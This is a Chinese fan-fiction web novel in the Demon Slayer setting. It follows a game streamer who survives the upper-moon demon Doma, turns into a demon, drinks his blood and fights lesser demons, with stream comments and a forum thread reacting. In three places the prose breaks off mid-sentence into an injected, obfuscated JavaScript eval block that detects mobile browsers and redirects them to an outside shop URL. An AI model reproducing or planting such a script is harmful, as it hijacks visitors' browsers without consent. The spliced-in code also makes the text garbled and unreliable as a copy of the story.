《[鬼灭]今天和上弦贴贴了吗》 1. 第一章 当朝奈点下《鬼灭之刃》的确认登录键时,流量惨淡的直播间突然进来了好几十个观众。 【又有新人主播玩鬼灭了?】 【太好了,今晚下饭菜有着落了】 【笑死,都是来看新手开荒破防的是吧?】 半透明的弹幕从视野边缘飞速掠过,朝奈连眉毛都没动一下。 她调整了一下全息头盔的感应器,纤长的手指在操控面板上快速划过,动作流畅利落。 游戏加载界面是一片浮世绘风格的血月与紫藤花,凄美中透着些许诡异。背景音乐是低沉的三味线,偶尔夹杂着一声乌鸦的嘶鸣。 这是当下最火的RPG游戏,没有刻意区分ARPG还是JRPG,玩法自由度很高,所以在论坛上的讨论度也非常高。 还算有点意思。朝奈在心里给出了自己的评价。 登录完成。角色创建界面弹出。 系统提示:[请选择您的初始身份与性别,这将影响您的出生点与初始剧情。] 下面是两个选项: [鬼杀队预备队员(男)] [误入???的少女] 她扫了一眼直播间,有些意外。 这是她重开新号直播以来,在线用户最多的时刻。 看来鬼灭之刃的流量,比她想象中还要大得多。 弹幕此刻都在提醒她: 【选男!选男!男线开场有几率是那田蜘蛛山,虽然难但至少能跑】 【女线千万别选,一出生就在无限城里边,论坛上不听劝的全被强制剧情杀了】 【对对对,女线那个莲花池是死亡触发点,必遇童磨,必死】 【男线好歹能跑,不过也有概率刷出猗窝座开局就是了…但女线可是秒杀啊!】 朝奈觉得很奇怪,如果按照弹幕所说,选女线只能被剧情杀的话,这个选项的意义在哪? 她的目光在两个选项间停留片刻。 然后,点选了[误入???的少女]。 弹幕炸了。 【??????】 【主播你醒醒!你看弹幕啊!】 【完了,史上最快翻车,十秒后见】 【主播是故意的吧?想体验一下传说中的最美死亡CG?】 她没和观众解释。快速调整了角色外观,取名“水无月朝奈”。 确认,进入。 加载的黑暗只持续了一瞬。 然后,视线被刺目的白占据。 朝奈发现自己站在一片水中。不深,刚过脚踝。 水面倒映出她的脸,也倒映出她身后一座违反物理规则漂浮在空中的建筑群。 木质结构以不可能的角度拼接、延伸、交错,门窗错位,楼梯断在空中。 无限城。 而她所在的位置,正是论坛无数血泪帖中提到的“新手死亡点”,无限城里的莲花池。 【来了来了,剧情杀名场面!】 【前方高能预警!童磨即将登场!】 【感觉主播撑不过十秒】 【我的截图键已经准备好了】 朝奈没有走动。 她看着望不到边的满池莲花,陷入了思考。 《鬼灭之刃》的核心主线是“鬼杀队”与“鬼”的对抗。游戏既然设计了“鬼杀队预备队员”这条明确的主线,那么按照对称原则,也应该存在“鬼阵营”的路线。 创建界面没有提供“鬼”的选项。 所以有两种可能,一是鬼阵营需要特殊条件解锁,二是鬼阵营的入口,或许藏在什么地方。 她玩过不少游戏,像这种开局贴脸的剧情杀,很少见。 毕竟很容易劝退玩家。 那么就需要换个角度思考问题。 女线开局可能不是单纯的死亡陷阱,而是鬼阵营的隐藏入门测试。 就在她想通的那一刻,轻快、像融化蜜糖的声音从前方传来。 朝奈缓缓看向几步之外的男人。 白橡色的头发泛着柔顺而冰冷的光泽,瞳孔中央刻着“上弦·贰”的字样。他身着黑红色的教祖服,黑色为底,庄重而深沉,红色纹路蜿蜒其上。 “啊啦。”他发出轻柔的叹息,手中的折扇“啪”地合拢,“迷路的小羔羊,怎么会跑到这种地方来呢?” 【下一句是“不过没关系,我会带你去往极乐”】 【主播快跑啊——虽然跑了也没用】 下一秒,冰冷的剧痛在胸口炸开。 童磨的血鬼术·蔓莲华,晶莹剔透的冰造藤蔓从她背后刺入。 伤口边缘迅速凝结,没流多少血,看上去就像她身体里长出了一簇不合时宜的冰雕。 “很痛吧?”他问,声音里浸满了那种惯用的蜜糖般的诱哄,“真可怜呀,不过没关系,我会带你去往极乐。” 冰雾从他掌心渗出,轻轻裹住女孩发抖的身体。他凝视着朝奈因痛苦而扭曲的脸,虹眸里的涟漪缓缓流转着。 【好看吧?用命换的】 【虽然已经看了很多次了,但还是想感叹,教主这张脸吧真是该死的迷人】 【不好看怎么吸引一大票子人选女线去送死?】 【你们这群肤浅的颜狗,嘻嘻,还好我也是】 朝奈呛着血,忍着一呼一吸间传来的剧痛,声音微弱地开口:“刀。” 童磨正微微上扬的唇角出现了极其细微的停顿,手中凝结着霜花的折扇,悬在了半空。 朝奈趁这个机会深吸了一口气。 虽然肺叶被刺穿了,虽然空气里有毒,但都没关系。 她抬起手,握住了从自己胸口穿出来的、最粗的那根冰蔓。 咔嚓。 冰晶碎裂的清脆声响在寂静的夜里格外刺耳。 她用蛮力,硬生生把那簇冰蔓从自己身体里掰断了。 碎冰和可能是内脏碎块的东西一起掉在地上,巨大的伤口暴露出来,她晃了一下,勉强跪坐着。 然后,咧开染血的唇,露出一个挑衅的笑,“你的鬼血术就这点能耐?” 如果不是系统在刹那强制让她失去身体操控权,她能躲开童磨那一击。 【不是吧主播???这种时候就不要作死了啊!】 【有人能给我分析一下主播在干什么吗】 【卧槽,直接把冰锥拔出来吗?主播也是个狠人】 【我不好说,虽然有点看不懂,但主播已经刷新了女线的存活时间纪录】 【难她天?】 童磨见状没有生气,反倒低低笑了起来。因为靠近,白橡色的发梢垂落,几乎触到她痛苦扭曲的脸。 他七彩的瞳孔微微放大,专注地欣赏着少女胸口的血洞。 那是他用冰棱精准刺穿的,避开了所有即死的要害。鲜血正随着她艰难的呼吸,一汩一汩往外涌,温热地溅在他苍白的指尖上。 “哎呀呀。”他的声音掺杂着些许甜腻的气息,用冰凉的扇骨轻轻拨开黏在她伤口旁被血濡湿的衣料,更多的冰晶从扇尖析出,细细地攀附上伤口边缘,延缓血液凝固的过程,“伤成这样还是不要逞强比较好哦?” 冰冷的气流拂过朝奈染血的脸颊,她肺部重伤,哪怕是轻微的呼吸都会牵动一阵剧烈的疼痛,视线模糊得只剩一片晃动的白橡色与黑红。 方才她朝系统索要的刀具出现在手中。 凭着残存的本能,她颤抖的手指一寸寸收紧刀柄,骨骼发出不堪重负的轻响。 刀尖抬起,划开凝滞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122962|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的寒雾。 刺出的动作很慢。 童磨静静地注视着,他没有躲开。 “噗嗤——” 冰冷的刀刃顺畅地没入他的胸膛,直至没柄。颜色暗沉的血液瞬间喷涌而出,溅在朝奈脸上,还带着一丝残存的温热。 他连眉头都没有皱一下,只向前微微倾身,任由刀刃在体内更深入一寸。 这个动作让朝奈几乎握不住刀,方才已经用尽了她的全部力气。痛苦地咳出大股大股的血,全部洒在他的衣襟上。 “多可惜啊,”童磨叹息着,冰冷的指尖拂去她下颌的血滴,“这具身体马上就要死去了。” 冰扇在他另一只手中展开,扇面凝出近乎繁花盛放的霜纹。 更多冰晶从扇尖析出,轻柔地覆盖在朝奈胸前的伤口上。极寒瞬间冻住了破裂的血管和脏器,强行止住了失血,也带来另一种痛苦。 朝奈的身体剧烈颤抖,牙齿咬得咯咯作响,却硬是没发出惨叫。 她抬起头,赤色的眼睛盯着童磨,那把刀还插在他胸口,伤口已经开始愈合。 她在心里倒数:三。 毒素需要时间生效。 二。 她赌的是系统逻辑,既然设定了“可淬毒”,那么毒药就必须对目标产生有效果的判定。 她在赌一个硬直的机会。 一。 时间到。 “唔——!” 童磨身体微微一晃,喉头滚动,猛地咳出一大口暗紫色的血。 血液落在地上,发出“滋滋”的腐蚀声。 是紫藤花毒。 【卧槽!!!主播什么时候涂的毒???】 【刀上?她哪来的紫藤花毒?!】 【我懂了,她刚才向系统索要刀具,是不是同时要求了涂毒?】 【虽然对童磨这种上弦效果有限,但居然真的伤到他了】 【我说主播神了有没有懂的!】 童磨缓缓抬手,抹去唇边的血迹,指尖捻起一点残留的黑紫色,放在眼前仔细端详。 他眼中惊异迅速褪去,胸前的伤口处,血肉开始不自然地蠕动,冰晶与黑气交织,强行将蕴含紫藤花毒素的血液连同被污染的组织一起排出。 过程显然并不轻松,但他脸上的笑容却越来越盛。 “呵呵、” 低沉的笑声从他喉间溢出,起初还带着毒血侵蚀的滞涩,很快便恢复了那种甜腻而危险的腔调。 他抬眼看向几乎只剩一口气的朝奈,声音里充满了发现新奇玩具的愉悦。 “真是太有趣了。” “上百年了,自我成为鬼以来,还是第一次有人类能把我伤成这样。” 空气中冰霜凝结的速度比之前快了数倍,冰寒的气息弥漫开来,也在加速压制和消化体内的毒素。 “明明快要死了,却还能藏着一手。” 童磨蹲在朝奈面前,冰凉的扇骨抬起她的下巴,迫使她涣散的目光看向自己。 他仔细端详着这张濒死却依然倔强的脸,仿佛在欣赏一件稀有的艺术品。 月光穿过稀薄的冰雾,映出她此刻的模样。 原本清丽的少女脸庞,此刻血色尽褪,只有唇边残留着咳出的暗红血渍。细密的冷汗浸湿了她额前的黑发,几缕发丝黏在光洁的额角和脸颊,更添了几分脆弱的凌乱。 [系统提示:检测到玩家以非正常方式成功对上弦之贰·童磨造成实质性伤害,并引起其高度兴趣。] [隐藏剧情线已激活。] [警告:此路线与人类阵营对立,剧情走向与任务系统将发生改变。] [请选择:是否接受邀请,踏入“鬼”之阵营?] [是/否] 2. 第二章 朝奈看着视野中浮现的系统提示,视线因失血而模糊。 那个[是]的选项,泛着幽幽的红光。 她在这一瞬想到了很多东西。 被恶意举报然后封禁的前直播账号。 一条又一条被驳回的申诉。 啊,对。 当下,对她来说,最快获取证明的方式,就是重新开直播爬上热榜。 常规的鬼杀队路线,论坛上早已被摸索得七七八八,攻略满天飞。就算她操作再强,顶多比别人快一些,稳一些,很难制造出决定性的爆点。 隐藏路线意味着风险,也意味着独一无二的流量。 直播间里,弹幕已经彻底疯了。 人数在她硬扛童磨一击、反手刺毒刀的时候就开始飙升,此刻更是达到了一个惊人的数字。 【我看到了什么?隐藏剧情线?!】 【鬼阵营?这游戏真有鬼阵营?官方从来没提过啊?】 【主播快选是,我想看,我氪金给你刷火箭】 【别啊!选了鬼就回不了头了,会被所有鬼杀队NPC敌对的】 【但是好刺激啊,全网第一个开启鬼阵营的玩家】 【主播还在犹豫什么?血都要流干了!快选啊!】 这正是她想要的。 她需要话题度,要以另一种方式通关。 朝奈凝聚起最后一点力气,意识沉入选择。 [是。] 指尖无声落下。 [选择已确认。] [阵营转换中] [警告:部分技能、道具、任务将永久锁定/变更。] [“鬼”之血脉正在注入] 一股完全不同于人类温度的血液,顺着童磨尚未完全离开她伤口的手指,猛地涌入她的身体。 痛、 哪怕开了痛觉屏蔽,也还是好痛、 朝奈不受控制地弓起身,发出一声短促的痛呼。 一瞬间,仿佛身体里的每一根血管都被强行撑开,注入了腐蚀性极强的冰流,无数细小的冰锥在骨髓深处生长,穿刺。 极致的痛苦瞬间淹没了所有感知,比她刚才被冰蔓刺穿时还要剧烈百倍。 童磨收回了手,饶有兴致地看着她。 他胸前的刀伤已经愈合大半,只留下一道浅浅的粉痕,紫藤花毒的影响也早就被他强大的恢复力压制了下去。 少女的身体在冰冷的莲花池水中剧烈颤抖,蜷缩。 黑发被冷汗彻底浸湿,宛如墨色水藻凌乱的铺散在莲花池水面。 清澈的池水已不复原貌。 以她为中心,鲜红正缓慢而不可抗拒地晕染开来。 她身上的伤口也开始发生诡异的变化。 破裂的血管不再流血,凝结出细密的冰晶。被刺穿的肺部组织在冰寒中扭曲再生,发出令人牙酸的咯吱声。 原本因痛苦和失血而涣散的赤瞳,此刻微微收缩,边缘似乎染上了一层极淡的虹彩。 [转化完成度:1%...5%...15%...] 系统提示冰冷地跳动着。 直播间因为某些众所周知的原因被打上了一层厚厚的雾,画面变得非常模糊,但观众们反而更兴奋了。 【开始了开始了,这就是鬼化?!】 【主播的表情,哪怕看不太清楚,都能感觉好痛啊】 【但好带感,这种挣扎求生的感觉】 【所以以后主播就是鬼了?可以像童磨一样用冰?】 【不一定吧,可能只是获得鬼的体质和恢复力,血鬼术要看个人?】 【我草,你们快看童磨!他在笑。。笑得我心里发毛。。】 童磨还是他那一贯漫不经心的笑。 他蹲在朝奈身边,用冰扇轻轻拨开她额前被汗湿的头发。 “坚持住哦,”他的声音轻柔得像情人在耳畔的私语,“很多人类都在这一步崩溃了,然后白白丢了性命呢。” “但,是朝奈酱的话,一定没问题的。” 七色琉璃瞳里映出少女痛苦扭曲的脸。 “毕竟,你是这么的特别。” 朝奈已经听不清他在说什么了。 剧痛和冰冷交替刺激着她的神经,她唯一能做的,就是死死咬住牙关,不让自己彻底昏厥过去。 她不能失败。绝对不能。 [转化完成度:45%...60%...77%...] 随着进度提升,痛苦稍微减轻了一些。 她的指尖微微动了动,指甲已然变得尖利。 童磨注意到了这个细节,笑意更深。他伸出手指,用锋利的指甲在手腕上轻轻一划。 属于上弦之鬼的血液,带着浓郁的生机与力量,滴落下来。 一滴。 正好落在朝奈微微张开的,苍白的唇上。 那一瞬间,朝奈的身体猛地绷直。 仿佛干涸已久的土地遇到了甘霖,又像是濒死的旅人看到了生命的源泉。 本能压倒了一切,她无意识地伸出舌尖,舔了舔唇上那滴血。 强烈的力量在她体内炸开,原本缓慢增长的转化度几乎是一瞬间飙升。 [转化完成度:95%...99%...100%] [恭喜玩家成功转化为鬼。] [特性已更新:获得极强恢复力,畏光(阳光下持续受到伤害)] [获得初始血鬼术:霜息。] [阵营声望变更:鬼杀队(敌对)、鬼(初始友善)。] [主线任务已更新。] 一连串的系统提示几乎刷屏。 朝奈躺在冰冷的池水里,胸膛剧烈起伏。 伤口正在以肉眼可见的速度愈合,苍白的面颊也恢复了一丝血色。 她撑着身体,慢慢坐了起来。 低头看了看自己几乎愈合的胸口,又抬起手,指尖萦绕起一缕极淡的白雾。 这应该就是她的鬼血术了。 “感觉如何?”童磨的声音在旁边响起,带着毫不掩饰的满意,“是那位大人对你的表现产生了兴趣,才赐下了这份恩典呢~要努力变得更有趣,才能不辜负这份期待呀。” 朝奈抬头看向他。 视线清晰,感官也变得更敏锐,身体里充满了陌生的力量。 但,她突兀地感觉到了饿,一股强烈的饿感在体内蔓延开。 此刻,空气中弥漫着一种诱人的芬芳。 池水里她流下的人类血液,闻起来像隔夜的冷羹,只剩下淡淡的腥甜。 另一种气息汹涌而来,几乎盖过了一切。 童磨的血。 只是嗅到一丝,就让她干涸的喉管本能地收缩,空荡荡的胃部传来一阵灼烧般的剧烈绞痛。 渴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122963|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好想喝。 理智在疯狂报警。 靠近他,触碰他,是非常冒险且危险的行为。 不可以、 但本能淹没了理智。 她身体先于思考做出了反应,方才还瘫软无力的四肢,被一种陌生的力量驱动。 她几乎是从血水中弹了起来,动作快得留下一道残影,湿透的黑发在空中甩出血珠。 “嗯?”童磨发出一声轻快的鼻音,似乎对她的速度略有讶异,微微偏了下头,目光饶有兴致地追随着她的动作。 朝奈扑到了他身前。 冰冷的布料触感传来,但更清晰的是透过布料下,那澎湃流动的血管。 她的手指抓住了他肩头的衣料,指尖因用力而发白,尖锐的指甲几乎要刺破织物。 视线死死锁定在苍白的脖颈上。 皮肤下,淡青色的血管微微搏动,香气正是从这里散发出来。 她仰起头,对着那近在咫尺的脖颈,张嘴咬了下去。 牙齿穿透皮肤的触感有些钝涩,鬼的皮肤远比人类坚韧,但属于鬼的尖牙,依旧成功地刺破了表皮,深深嵌入了血肉。 下一秒,难以言喻的甘美洪流涌入口中。 童磨的血液带着属于上弦之鬼的力量,流入她的喉咙,滚入胃袋,然后轰然炸开,涌向四肢百骸。 “唔...”童磨轻轻闷哼一声,身体不受控地微微一震。 他垂眸,看着像紧紧攀附在自己身上吮吸血液的少女,脸上惯有的笑容似乎凝滞了一瞬,随即,一种更深邃的愉悦从眼底漾开。 他没有推开她,只是抬起一只手,轻轻按在了她湿漉漉的后脑上,像是安抚。 朝奈现在的状态很难用言语形容。 她像是意识被单独抽离出来,以第三视角在看着自己所做的一切。 但是口中浓郁的味道她又能亲自感受到。 而且,鬼的血居然是甜的,尝起来有点像巧克力酱里拌了一丁点薄荷,甜中带着凉。 她有些惊讶于这个设定。 她看见自己脸上露出一种飘飘然的、近乎醉酒的满足,然后下一秒意识回笼。 身体快要被这股过于强大的力量撑满,她本能地松开了口,向后踉跄了一步。 唇边还残留着几缕暗红的血丝。 她微微喘息着,赤瞳中的光泽比之前任何时候都要亮。 而童磨的脖颈上,留下了两个深深的的齿痕。 他用那双七彩的眸子含笑凝视着她,声音比往常更低哑了一些:“如何?比起那位大人的血,我的味道怎么样?” 朝奈看着他扇尖轻点自己残留齿痕的脖颈,眨了眨眼睛,她的表情看起来很无辜,就好像这一切不是她做的一样。 “唔,”思索着方才口中薄荷巧克力一样的味道,她缓缓开口,“感觉好甜。” 直播间内,弹幕像发疯了一样在刷屏: 【OMG。。。我看到了什么????】 【这是我能免费看的吗(捂脸)】 【不是,只有我好奇到底有多甜吗】 【童磨居然还在笑???】 【二位这诡异的氛围,我截屏的手都在抖。。。】 【所以主播现在算不算双重补魔?毕竟是无惨的血+童磨的血】 【雾草,现在的新人主播都这么牛批吗,火速关注了】 3. 第三章 #【热帖】我草,有桂!《鬼灭》隐藏鬼阵营被一个萌新主播拿命开了,速来围观! 楼主[猗窝座激推人]发表于 XXXX-XX-XX 00:15 如题,手快有手慢无! 刚刚在首页推荐刷到的新人主播,直播间标题“HELL难度开荒”,进去的时候人正好在无限城莲花池被童磨捅了个对穿。 我本来准备看个乐子就走的,结果。。你们敢信?这神人反手把童磨也给捅了,还涂了毒,然后直接弹出了隐藏阵营选择,现在正在鬼化直播中[直播间链接] 1L [孙尚香辣鸡翅] 00:16 !!!楼主好人!火速赶到,直播间热度已经炸了,平台开始限流了 2L [今天也在努力锻刀] 00:17 什么东西???鬼阵营?官方设定集里提都没提过,这主播开挂了? 3L [猗窝座激推人] 00:18回复 2L 我标题党而已,绝对不是挂。 她躲童磨第一下是靠系统强制剧情杀定身才没躲开,后面掏刀涂毒反击一套操作看得我一愣一愣的,绝对是高手,而且痛觉屏蔽肯定没开满,那反应太真实了。 我比较好奇她怎么会有紫藤花毒?新人出生点绝对拿不到吧? 4L [隐の呼吸学者] 00:20 回楼上,有这么一种可能,她在创建角色后向系统提出了合理的初始物资请求。 我记得之前有个高手整理的攻略帖说过,游戏自由度极高,如果理由足够合理且符合角色初始逻辑,系统有可能批准。 5L [叽里咕噜说什么呢] 00:21 卧槽,细思极恐。也就是说,她从选女线开始就计划好要触发隐藏了?好恐怖的预判和游戏理解能力…这就是大佬吗… 6L [无惨大人缺挂件吗] 00:23 我不关心操作和技术,我只关心脸。 主播鬼化中的破碎感绝美啊,还有童磨看她的那个眼神哦哦哦——嘶哈嘶哈,病娇感拉满!这对有点好磕。 7L [早点睡觉好吗] 00:25 磕CP的醒醒。重点不是这个,如果鬼阵营真的被开启,意味着整个游戏的力量体系、任务线、甚至后续版本更新都可能产生巨变。 8L [喜欢毛茸茸] 00:26 楼上正解。 我现在疯狂刷弹幕让她选“是”。 人类线看腻了,好想看鬼视角的剧情。无限城到底是什么结构?十二鬼月日常干嘛?无惨老板到底发不发工资?(不是) 9L [-感觉不如-] 00:28 只有我觉得恐怖吗?按照设定,变成鬼就意味着要猎食人类,就算这是游戏,让玩家扮演吃人的一方,心理门槛是不是太高了?官方这设定真的没问题? 10L [国服第一亚索] 00:30回复 9L 游戏而已,扮演反派也是一种体验,而且看主播这狠劲,我觉得她猎杀其他鬼或者NPC完全不会有心理负担,反而更期待她怎么在鬼的阵营里往上爬了。 11L [听不懂,瓦罗兰特启动] 00:32 报!最新进展,她转化完成面板出来了,血鬼术是“霜息”?等下,她要干嘛??她咬童磨的脖子?!![截图.jpg][截图.jpg] 12L [妖刀村雨] 00:32 ?????? 13L [何意味] 00:33 !!!!!! 14L [同人女绝赞发疯中] 00:33 啊啊啊啊啊我炸成了烟花!童磨没有推开她!他还笑!了!那个笑容绝对不简单! 15L [无数个属于蓝雨的夏天] 00:35 你先别激动,让我来分析一下。 首先,感觉童磨的血有些特殊效果,可能加速了她的变鬼进程和力量获取。 其次,你们不感觉主播现在的状态很奇怪吗,看起来真不像是完全拥有身体的操控权,这游戏对本能的模拟是不是太真实了? 16L [匿名用户748] 00:38 据我所知,《鬼灭之刃》项目的隐藏内容深度远超想象,触发条件极其苛刻。鬼阵营不仅仅是换个皮肤那种敷衍的设定,它关联着一整套独立的剧情和声望系统,甚至可能是以后对抗型阵营玩法的伏笔。 17L [所有人立刻给三国杀点点差评] 00:40 卧槽,系统任务来了!话说鬼线居然也是杀鬼才能升级吗?不过一想倒也是,要晋升十二鬼月的话,不管咋样鬼都会同类自相残杀的。 ...... 108L [猗窝座激推人] 00:42 楼主回来了。刚刚看直播去了,这主播利落地干掉了一个低级鬼,操作好流畅。 我现在心情很复杂,又觉得震撼。 109L [你也是应声虫吗] 00:45 兄弟们,吃瓜吃一半,我DNA动了。这行云流水的卡位,这精准的伤害计算,这对自己都狠的疯劲,还有那种用脸接大招收集数据的既视感。。。 你们不觉得,很像之前账号被永封的那位动作游戏分区顶流“奈落”吗? 110L [为什么要演奏春日影]00:46回复109L 没有吧,我记得奈神不是个男主播吗?虽然他从来不开摄像头,但是直播全息游戏的时候好像漏过几次脸。 111L [五蚂蚁] 00:48 所以有没有课代表总结一下,触发鬼阵营的具体条件到底是什么? 选女号?在莲花池反杀童磨?用特定方式造成伤害?还是需要特殊的初始物资申请? 在线等,急,我也想玩鬼线0.0 112L [宇宙第一手残] 00:50回复 111L 省省吧兄弟,看看主播的操作和预判,这是你能复制的吗?等你上号被童磨一招秒了就老实了。 113L [我是山里灵活的狗] 00:55 笑死,我现在就期待有铁头娃看了直播,明天一窝蜂去选女线作死,到时候无限城莲花池的剧情杀秒变买家秀现场。 哈哈,上弦二就慢慢杀去吧,一扇子杀一个都能够他杀到明年。 - 论坛热帖中的主人公“朝奈”,此刻正在被围殴中。 确切地说,应该是她一个人围殴好几只鬼。 她正准备走主线,好几个没眼力见的鬼嘴里喊着“是那位大人的血”“凭什么她可以得到这么多血”“我倒要看看她有什么特别”之类的话就围了上来,扬言要和她切磋一下。 刚好系统弹出提示,告知她可以通过和鬼战斗,感悟和升级鬼血术。 一连串巧合发生地无比顺理成章,朝奈也不打算白白浪费可以打怪升级的机会。 【看样子是要打起来了】 【说点大伙不知道的】 【妈呀,我还是第一次见鬼线剧情,好刺激】 【主播主播,刚从论坛来的,想问一下怎么提升操作水平】 随着BGM的突变,系统弹出一条提示:“您已进入战斗”。 资深动作游戏玩家朝奈深知,玩此类游戏一共有三个要领。 “首先是观察与预判。” 左边那只低级鬼眼中混合着贪婪和嫉妒,它动作很是迅捷,爪牙锋利,但在感官已被大幅强化的朝奈眼中,行动轨迹异常清晰。 右边那只发力点在腿部,大概是想趁她对付别的鬼注意力分散的时候,冲刺过来然后偷袭她的后背。 最中间的这只,是三只鬼里能力最强的。他没有轻举妄动,而是选择观察另外两只鬼和她的之间的战斗,等熟悉她的鬼血术之后再加入战场。 于适当时机侧身,小滑步躲过最先抵达的利爪。几乎是一瞬间,她的指尖萦绕起白色雾气,迅速凝聚后塑形,化作一根尖端锋锐无比的冰棱,毫不花哨地反手送向身后。 “第二个要领是节奏掌控。” “想要做到掌控战斗,就一定要保持攻防交替的呼吸感,最忌讳贪刀。” 冰棱精准地没入身后鬼的眼窝,极寒的雾气刹那间升起,冻结住了它大半个头颅。它僵直着倒在地上,伤口处蔓延着细密的冰晶。 暂时让他行动不了就好,这时候上去补刀的意图太明显,会招来其他两只鬼的攻击,而且都处在她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122964|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线盲区。 动作没有停顿,朝奈背闪完美躲开了低级鬼吐出的毒刺,手中的刀与突然发难的第三只鬼的坚硬无比的手臂相撞,发出一道嗡嗡的振刀声。 “而第三个,也是最难的那个要领,就是吃透游戏机制,把技能连招转化为肌肉记忆。” 数枚更尖锐的冰锥自掌心射出,分别钉入两只鬼的咽喉和心口位置。这一次的冰锥上,带着致命的紫藤花毒。 战斗在十几秒内开始,又在几十秒内接近尾声。 她没耐心和这群低等的鬼浪费时间了。 【主播是在教我们怎么玩游戏吗?】 眼角的余光正好捕捉到那条弹幕,朝奈给出了回答:“弹幕不是有人问怎么才能提升操作水平么?” “刚好有教学机会,顺手就用上了。” 【哦,原来主播会看弹幕啊】 【她真的,我哭死】 【道理都懂我都懂,但。。。】 霜息的凝聚速度和精准度经过数次使用后有所提升,但幅度有限,技能强度和范围远不足以应付更强的对手。 朝奈站在三只濒死的鬼中间,静静注视着他们躯体逐渐化为灰烬,然后几缕暗红色的血丝被无形的力量牵引,没入她的掌心。 [通过战斗与吸收残骸,力量微弱提升。] [鬼血术:霜息熟练度略有增加。] 系统的提示印证了她的感受。 和这种低等的鬼战斗得到的经验几乎可以忽略不计,如果升级全靠虐菜,玩到关服她可能都没办法晋升到解锁主线的等级。 没时间耗费在这里了,她的目光从地面仅剩的灰烬上移开,转身走向无限城更深处。 无限城的结构十分错综复杂,楼梯并非连接着上下两层,有时尽头是死路,有时会通往未知的空间。门和窗开在不合常理的位置,长廊扭曲旋转着,一眼望不到尽头。 朝奈穿行在回廊和悬梯之间,脚步很轻,是她在刻意避免吸引某些怪物的仇恨值,以至触发没有必要的战斗。 一路上她感知到了很多节点,散发着不同能量波动的小型副本和精英怪区域就藏在这些节点的门后。 正常玩家开荒,打这些本获取经验完全绰绰有余,但对朝奈来说效率还是不够高,她早就想好了接下来要去的目的地。 顺着系统提示面板右上角的地图某处前行着,当视线尽头出现一道黑红色光芒时,她的脚步终于停下了。 黑洞般的入口透着一股浓浓的不详气息,这是系统给出的善意警告,以防止等级不够或者是实力不够的玩家误入。 直播间里不少人已经猜到了她的意图。 【传说中的红名怪?】 【停停停停。。。主播你要干啥??】 【不是吧,难道要越级打红名本吗,会被秒的吧。?】 【而且这玩意好像是随机出怪,我的意思是运气差的话,可能会开出逆天的东西】 【呃,怎么说呢,在这个直播间待久了,看见主播干啥都不感到奇怪了。。】 “Bingo~”朝奈对观众打了个响指,她微笑着走进入口,手指在系统面板上划动着,“猜对了,我现在要刷红名本。” “只有我在操作确实有点无聊,你们都没办法参与进来。” “开个竞猜好了,觉得主播能通关的不妨送点小礼物,怎么样?” 弹幕的老油条们都对这种玩法不陌生,平台会在竞猜成功后返利,算是一种变相赌博。 不过,一时间也没多少人下注,他们都在等朝奈进副本,看看是什么怪再决定要不要参与。 传送的眩晕感很轻微。 但当朝奈视野清晰,看清眼前景象的瞬间,她整个人都麻了。 不是哥们。 什么b运气啊。 她进副本前还找系统确认过,开出某个隐藏大奖只有不到百分之0.006的概率。 她确实是想越级打怪逃课升级,但也没想给自己找麻烦,直接对上这种级别的好吗。 一个跪坐的人影,感知到有人闯入这个空间。 六道冰冷的,仿佛能穿透灵魂的视线,精准地钉在了她的身上。 上弦一,黑死牟。 4. 第四章 堪堪躲过对方的杀招,朝奈背倚一根粗壮的竹子,将喘气声压得很低,几乎与风拂过竹叶的沙沙声融为一体。 她知道,面前的鬼并不是黑死牟本尊,而是系统模拟黑死牟的招式生成的全息影像。 《鬼灭之刃》里所有红名怪都是这种机制,这是为了防止同时开启的人数过多,怪物数量不够玩家挑战。 估计设计师也没想到会有人在开荒期就来挑战红名本,甚至能倒霉到开出大奖。 来了。 左前方,三丈外。那具高大的身影仿佛只是微微前倾,太刀已无声出鞘。 月之呼吸,壹之型·暗月·宵之宫。 一记破坏力极大的居合斩,伴随着数道月牙刃风向她袭来。 眼睛能看清此刻迎面而来的杀气,但是身体沉重地像被套上了枷锁,危急之下只能勉强挪开脚步侧身。 朝奈清楚这是越级打怪的debuff,就算她的预判意识再好,角色等级差距太大跟不上,就会导致动作的延迟和变形。 她的目光瞥向身后。 那根碗口粗的墨竹,竹身中段毫无声息地出现一道平滑的斜线,极其细微的“嗤”声过后,上半截竹子沿着那道斜线断裂,倒地。 但凡刚才晚躲开一秒,她的下场就是这根竹子。 【我的天哪黑死牟大人】 【纯粹的数值,兄弟】 【小时候看这一集被吓哭了】 【竞猜选左边的怎么想的,这可是上弦一啊!】 【我刚去查了一下红名本开出黑死牟的概率,你们猜是多少?哈哈,竟然是百分之0.006】 【草,那主播也太maybe了】 